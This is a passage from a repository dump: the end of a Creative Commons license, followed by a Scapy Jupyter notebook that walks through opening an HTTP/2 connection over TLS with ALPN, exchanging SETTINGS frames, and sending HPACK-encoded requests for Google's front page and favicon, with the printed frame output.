Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License. c. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable. d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent. e. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You. Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor. Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. Creative Commons may be contacted at http://creativecommons.org/. ================================================ FILE: doc/notebooks/HTTP_2_Tuto.ipynb ================================================ { "metadata": { "name": "", "signature": "sha256:50ffc723dfcf9f5650b542c1b77933eeaa2df6f665494225ce2aba661b86885e" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "HTTP/2 Tutorial" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This tutorial aims at creating an HTTP/2 session using Scapy. The frontpage of Google will be fetched. The favicon will also be loaded as a dependency of the frontpage. Finally, a Google query will be submitted. The first queries will be generated using some Scapy helpers. The last one will be generated by hand, to better illustrate the low level APIs.\n", "\n", "This tutorial can be run without any privileges (no root, no CAP_NET_ADMIN, no CAP_NET_RAW). One can select \"Cell -> Run All\" to perform the three queries." ] }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Building the socket" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "First, we need to build an TLS socket to the HTTP server, and to negotiate the HTTP/2 protocol as the next protocol. Doing so requires a fairly recent version of the Python ssl module. We indeed need support of ALPN (https://www.rfc-editor.org/rfc/rfc7301.txt).\n", "We build our TCP socket first." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import socket\n", "dn = 'www.google.fr'\n", "\n", "# Get the IP address of a Google HTTP endpoint\n", "l = socket.getaddrinfo(dn, 443, socket.INADDR_ANY, socket.SOCK_STREAM, socket.IPPROTO_TCP)\n", "assert len(l) > 0, 'No address found :('\n", "\n", "s = socket.socket(l[0][0], l[0][1], l[0][2])\n", "s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n", "if hasattr(socket, 'SO_REUSEPORT'):\n", " s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)\n", "ip_and_port = l[0][4]" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 99 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We now build our SSL context and we wrap the previously defined socket in it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import ssl\n", "# Testing support for ALPN\n", "assert(ssl.HAS_ALPN)\n", "\n", "# Building the SSL context\n", "ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n", "ssl_ctx.set_ciphers(':'.join([ # List from ANSSI TLS guide v.1.1 p.51\n", " 'ECDHE-ECDSA-AES256-GCM-SHA384',\n", " 'ECDHE-RSA-AES256-GCM-SHA384',\n", " 'ECDHE-ECDSA-AES128-GCM-SHA256',\n", " 'ECDHE-RSA-AES128-GCM-SHA256',\n", " 'ECDHE-ECDSA-AES256-SHA384',\n", " 'ECDHE-RSA-AES256-SHA384',\n", " 'ECDHE-ECDSA-AES128-SHA256',\n", " 'ECDHE-RSA-AES128-SHA256',\n", " 'ECDHE-ECDSA-CAMELLIA256-SHA384',\n", " 'ECDHE-RSA-CAMELLIA256-SHA384',\n", " 'ECDHE-ECDSA-CAMELLIA128-SHA256',\n", " 'ECDHE-RSA-CAMELLIA128-SHA256',\n", " 'DHE-RSA-AES256-GCM-SHA384',\n", " 'DHE-RSA-AES128-GCM-SHA256',\n", " 'DHE-RSA-AES256-SHA256',\n", " 'DHE-RSA-AES128-SHA256',\n", " 'AES256-GCM-SHA384',\n", " 'AES128-GCM-SHA256',\n", " 'AES256-SHA256',\n", " 'AES128-SHA256',\n", " 'CAMELLIA128-SHA256'\n", " ])) \n", "ssl_ctx.set_alpn_protocols(['h2']) # h2 is a RFC7540-hardcoded value\n", "ssl_sock = ssl_ctx.wrap_socket(s, server_hostname=dn)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 100 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We then connect the socket to the TCP endpoint." ] }, { "cell_type": "code", "collapsed": false, "input": [ "ssl_sock.connect(ip_and_port)\n", "assert('h2' == ssl_sock.selected_alpn_protocol())" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 101 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Reading the server settings and acknowledging them." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With HTTP/2, the server is the first to talk, sending its settings for the HTTP/2 session. Let's read them. For this, we wrap the TLS connection into a Scapy SuperSocket for easier management." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import scapy.supersocket as supersocket\n", "import scapy.contrib.http2 as h2\n", "import scapy.config\n", "scapy.config.conf.debug_dissector = True\n", "ss = supersocket.SSLStreamSocket(ssl_sock, basecls=h2.H2Frame)\n", "srv_set = ss.recv()\n", "srv_set.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0x12\n", " type = SetFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Settings Frame ]### \n", " \\settings \\\n", " |###[ HTTP/2 Setting ]### \n", " | id = Max concurrent streams\n", " | value = 100\n", " |###[ HTTP/2 Setting ]### \n", " | id = Initial window size\n", " | value = 1048576\n", " |###[ HTTP/2 Setting ]### \n", " | id = Max header list size\n", " | value = 16384\n", "\n" ] } ], "prompt_number": 102 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's make a note of the server settings for later usage.\n", "We define variables for the server settings. They are assigned the RFC-defined default values. These values are overwritten by the settings provided by the server, if they are provided." ] }, { "cell_type": "code", "collapsed": false, "input": [ "srv_max_frm_sz = 1<<14\n", "srv_hdr_tbl_sz = 4096\n", "srv_max_hdr_tbl_sz = 0\n", "srv_global_window = 1<<14\n", "for setting in srv_set.payload.settings:\n", " if setting.id == h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE:\n", " srv_hdr_tbl_sz = setting.value\n", " elif setting.id == h2.H2Setting.SETTINGS_MAX_HEADER_LIST_SIZE:\n", " srv_max_hdr_lst_sz = setting.value\n", " elif setting.id == h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE:\n", " srv_global_window = setting.value" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 103 }, { "cell_type": "markdown", "metadata": {}, "source": [ "HTTP/2 is a very polite protocol. We need to acknowledge the server settings. For this, we first need to send a constant string, which is a connection preface. This serves the purpose of confirming to the server that the HTTP/2 protocol is understood by the client. Scapy builds the appropriate packet for us to send from this constant string." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import scapy.packet as packet\n", "\n", "# We verify that the server window is large enough for us to send some data.\n", "srv_global_window -= len(h2.H2_CLIENT_CONNECTION_PREFACE)\n", "assert(srv_global_window >= 0)\n", "\n", "ss.send(packet.Raw(h2.H2_CLIENT_CONNECTION_PREFACE))" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 104, "text": [ "24" ] } ], "prompt_number": 104 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then, we build the acknowledgment frame and we send our own settings in another frame. We will define very LARGE values (maximum values as defined in the RFC7540, in most cases), just so that we don't end up having to handle window management in this tutorial." ] }, { "cell_type": "code", "collapsed": false, "input": [ "set_ack = h2.H2Frame(flags={'A'})/h2.H2SettingsFrame()\n", "set_ack.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = None\n", " type = SetFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0\n", " stream_id = 0\n", "###[ HTTP/2 Settings Frame ]### \n", " \\settings \\\n", "\n" ] } ], "prompt_number": 105 }, { "cell_type": "code", "collapsed": false, "input": [ "own_set = h2.H2Frame()/h2.H2SettingsFrame()\n", "max_frm_sz = (1 << 24) - 1\n", "max_hdr_tbl_sz = (1 << 16) - 1\n", "win_sz = (1 << 31) - 1\n", "own_set.settings = [\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_ENABLE_PUSH, value=0),\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_INITIAL_WINDOW_SIZE, value=win_sz),\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_HEADER_TABLE_SIZE, value=max_hdr_tbl_sz),\n", " h2.H2Setting(id = h2.H2Setting.SETTINGS_MAX_FRAME_SIZE, value=max_frm_sz),\n", "]" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 106 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We then send the two frames and then read the acknowledgment of our settings from the server. We set up a loop because the first frames that we may read could be PING frames or window management frames." ] }, { "cell_type": "code", "collapsed": false, "input": [ "h2seq = h2.H2Seq()\n", "h2seq.frames = [\n", " set_ack,\n", " own_set\n", "]\n", "# We verify that the server window is large enough for us to send our frames.\n", "srv_global_window -= len(str(h2seq))\n", "assert(srv_global_window >= 0)\n", "ss.send(h2seq)\n", "\n", "# Loop until an acknowledgement for our settings is received\n", "new_frame = None\n", "while isinstance(new_frame, type(None)) or not (\n", " new_frame.type == h2.H2SettingsFrame.type_id \n", " and 'A' in new_frame.flags\n", " ):\n", " if not isinstance(new_frame, type(None)):\n", " # If we received a frame about window management \n", " if new_frame.type == h2.H2WindowUpdateFrame.type_id:\n", " # For this tutorial, we don't care about stream-specific windows, but we should :)\n", " if new_frame.stream_id == 0:\n", " srv_global_window += new_frame.payload.win_size_incr\n", " # If we received a Ping frame, we acknowledge the ping, \n", " # just by setting the ACK flag (A), and sending back the query\n", " elif new_frame.type == h2.H2PingFrame.type_id:\n", " new_flags = new_frame.getfieldval('flags')\n", " new_flags.add('A')\n", " new_frame.flags = new_flags\n", " srv_global_window -= len(str(new_frame))\n", " assert(srv_global_window >= 0)\n", " ss.send(new_frame)\n", " else:\n", " assert new_frame.type != h2.H2ResetFrame.type_id \\\n", " and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n", " \"Error received; something is not right!\"\n", " try:\n", " new_frame = ss.recv()\n", " new_frame.show()\n", " except:\n", " import time\n", " time.sleep(1)\n", " new_frame = None" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0x4\n", " type = WinFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Window Update Frame ]### \n", " reserved = 0L\n", " win_size_incr= 983041L\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x0\n", " type = SetFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "\n" ] } ], "prompt_number": 107 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Build the form query with the helpers" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We are now building a query for the frontpage https://www.google.fr/. We use the HTTP/2 Scapy Module helpers to build this query. The parse_txt_hdrs helper receives various parameters regarding the size of the header blocks and the frame to automatically split the values on multiple frames, if need be. It also receives two callbacks to know which flavour of HPack header encoding we should apply.\n", "\n", "We either use the server settings if they were specified or the default values.\n", "\n", "You may note that we say that cookies are sensitive, regardless of their content. We would do something a bit smarter, if we knew what is the name of the cookies that are sensitive, and those that are merely informative. In HTTP/2 cookies are split into multiple \"cookie\" headers, while in HTTP/1.1, they are all stored inside the same header.\n", "\n", "As the client of this HTTP/2 connection, we need to use odd stream ids, per RFC7540. Since this is the first query, we will use the stream id 1." ] }, { "cell_type": "code", "collapsed": false, "input": [ "tblhdr = h2.HPackHdrTable()\n", "qry_frontpage = tblhdr.parse_txt_hdrs(\n", " ''':method GET\n", ":path /\n", ":authority www.google.fr\n", ":scheme https\n", "accept-encoding: gzip, deflate\n", "accept-language: fr-FR\n", "accept: text/html\n", "user-agent: Scapy HTTP/2 Module\n", "''',\n", " stream_id=1,\n", " max_frm_sz=srv_max_frm_sz,\n", " max_hdr_lst_sz=srv_max_hdr_lst_sz,\n", " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n", " should_index=lambda x: x in [\n", " 'x-requested-with', \n", " 'user-agent', \n", " 'accept-language',\n", " ':authority',\n", " 'accept',\n", " ]\n", ")\n", "qry_frontpage.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = None\n", " | type = HdrsFrm\n", " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " | reserved = 0\n", " | stream_id = 1\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 2\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 4\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 1\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(www.google.fr)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 7\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 16\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 17\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(fr-FR)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 19\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(text/html)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 58\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(Scapy HTTP/2 Module)'\n", "\n" ] } ], "prompt_number": 108 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The previous helper updated the HPackHdrTable structure with the headers that should be indexed. We don't need to look inside that table if we only use helpers. For the sake of this tutorial, though, we will." ] }, { "cell_type": "code", "collapsed": false, "input": [ "for i in xrange(max(tblhdr._static_entries.keys()) + 1, max(tblhdr._static_entries.keys()) + 1 + len(tblhdr._dynamic_table)):\n", " print('Header: {} Value: {}'.format(tblhdr[i].name(), tblhdr[i].value()))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Header: user-agent Value: Scapy HTTP/2 Module\n", "Header: accept Value: text/html\n", "Header: accept-language Value: fr-FR\n", "Header: :authority Value: www.google.fr\n" ] } ], "prompt_number": 109 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We also build a query for the favicon." ] }, { "cell_type": "code", "collapsed": false, "input": [ "qry_icon = tblhdr.parse_txt_hdrs(\n", " ''':method GET\n", ":path /favicon.ico\n", ":authority www.google.fr\n", ":scheme https\n", "accept-encoding: gzip, deflate\n", "accept-language: fr-FR\n", "accept: image/x-icon; image/vnd.microsoft.icon\n", "user-agent: Scapy HTTP/2 Module\n", "''',\n", " stream_id=3,\n", " max_frm_sz=srv_max_frm_sz,\n", " max_hdr_lst_sz=srv_max_hdr_tbl_sz,\n", " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie'],\n", " should_index=lambda x: x in [\n", " 'x-requested-with', \n", " 'user-agent', \n", " 'accept-language',\n", " ':authority',\n", " 'accept',\n", " ]\n", ")\n", "qry_icon.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = None\n", " | type = HdrsFrm\n", " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " | reserved = 0\n", " | stream_id = 3\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 2\n", " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | | magic = 0\n", " | | never_index= Don't Index\n", " | | index = 4\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(/favicon.ico)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 65\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 7\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 16\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 64\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 19\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = None\n", " | | | len = None\n", " | | | data = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 63\n", "\n" ] } ], "prompt_number": 110 }, { "cell_type": "markdown", "metadata": {}, "source": [ "You may note that several of the headers that are in common between the two queries (the one for the frontpage and the one for the /favicon.ico) are compressed in the second query. They are only referred to by an index number of the dynamic HPack Header Table.\n", "We now alter the favicon query to be dependent of the query for the form." ] }, { "cell_type": "code", "collapsed": false, "input": [ "real_qry_icon = h2.H2Frame(\n", " stream_id=qry_icon.frames[0][h2.H2Frame].stream_id,\n", " flags={'+'}.union(qry_icon.frames[0][h2.H2Frame].flags),\n", ") / h2.H2PriorityHeadersFrame(\n", " hdrs=qry_icon.frames[0][h2.H2HeadersFrame].hdrs,\n", " stream_dependency=1,\n", " weight=32,\n", " exclusive=0\n", ")\n", "real_qry_icon.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = None\n", " type = HdrsFrm\n", " flags = set(['End Stream (ES)', 'End Headers (EH)', 'Priority (+)'])\n", " reserved = 0\n", " stream_id = 3\n", "###[ HTTP/2 Headers Frame with Priority ]### \n", " exclusive = 0\n", " stream_dependency= 1\n", " weight = 32\n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 2\n", " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | magic = 0\n", " | never_index= Don't Index\n", " | index = 4\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = None\n", " | | len = None\n", " | | data = 'HPackZString(/favicon.ico)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 65\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 7\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 16\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 64\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 19\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = None\n", " | | len = None\n", " | | data = 'HPackZString(image/x-icon; image/vnd.microsoft.icon)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 63\n", "\n" ] } ], "prompt_number": 111 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can now send both queries to the server." ] }, { "cell_type": "code", "collapsed": false, "input": [ "h2seq = h2.H2Seq()\n", "h2seq.frames = [\n", " qry_frontpage.frames[0],\n", " real_qry_icon\n", "]\n", "srv_global_window -= len(str(h2seq))\n", "assert(srv_global_window >= 0)\n", "ss.send(h2seq)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 112, "text": [ "117" ] } ], "prompt_number": 112 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's read the answers!" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# The stream variable will contain all read frames; we will read on until stream 1 and stream 3 are closed by the server.\n", "stream = h2.H2Seq()\n", "# Number of streams closed by the server\n", "closed_stream = 0\n", "\n", "new_frame = None\n", "while True:\n", " if not isinstance(new_frame, type(None)):\n", " if new_frame.stream_id in [1, 3]:\n", " stream.frames.append(new_frame)\n", " if 'ES' in new_frame.flags:\n", " closed_stream += 1\n", " # If we read a PING frame, we acknowledge it by sending the same frame back, with the ACK flag set.\n", " elif new_frame.stream_id == 0 and new_frame.type == h2.H2PingFrame.type_id:\n", " new_flags = new_frame.getfieldval('flags')\n", " new_flags.add('A')\n", " new_frame.flags = new_flags\n", " ss.send(new_frame)\n", " \n", " # If two streams were closed, we don't need to perform the next operations\n", " if closed_stream >= 2:\n", " break\n", " try:\n", " new_frame = ss.recv()\n", " new_frame.show()\n", " except:\n", " import time\n", " time.sleep(1)\n", " new_frame = None\n", "\n", "stream.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0xe1\n", " type = HdrsFrm\n", " flags = set(['End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 3L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Dynamic Size Update ]### \n", " | magic = 1\n", " | max_size = 12288\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 8\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 59\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 11\n", " | | data = 'HPackZString(Accept-Encoding)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 26\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(gzip)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 31\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 9\n", " | | data = 'HPackZString(image/x-icon)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 33\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 36\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 44\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 16\n", " | | data = 'HPackZString(x-content-type-options)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 5\n", " | | data = 'HPackZString(nosniff)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 54\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(sffe)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 28\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(1494)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 12\n", " | | data = 'HPackZString(x-xss-protection)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 10\n", " | | data = 'HPackZString(1; mode=block)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 24\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 16\n", " | | data = 'HPackZString(public, max-age=691200)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 21\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 5\n", " | | data = 'HPackZString(472252)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 5\n", " | | data = 'HPackZString(alt-svc)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 28\n", " | | data = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x5d6\n", " type = DataFrm\n", " flags = set(['End Stream (ES)'])\n", " reserved = 0L\n", " stream_id = 3L\n", "###[ HTTP/2 Data Frame ]### \n", " data = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd